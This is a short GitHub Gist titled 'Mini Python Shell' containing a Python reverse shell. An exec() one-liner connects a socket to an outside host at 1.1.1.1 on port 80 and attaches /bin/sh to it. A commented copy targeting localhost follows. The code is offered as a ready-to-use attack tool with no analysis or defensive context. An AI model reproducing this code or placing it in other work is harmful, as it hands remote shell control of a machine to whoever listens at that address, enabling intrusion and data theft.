Created
December 28, 2011 03:16
-
-
Save btoews/1526000 to your computer and use it in GitHub Desktop.
Mini Python Shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
exec("import socket,subprocess\nHOST = '1.1.1.1'\nPORT = 80\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((HOST, PORT))\nf = s.fileno()\nsubprocess.Popen('/bin/sh',stdin=f,stdout=f,stderr=f)") | |
#(c) mastahyeti | |
#mini python shell | |
#import socket,subprocess | |
#HOST = '127.0.0.1' | |
#PORT = 80 | |
#s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
#s.connect((HOST, PORT)) | |
#f = s.fileno() | |
#subprocess.Popen("/bin/sh",stdin=f,stdout=f,stderr=f) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment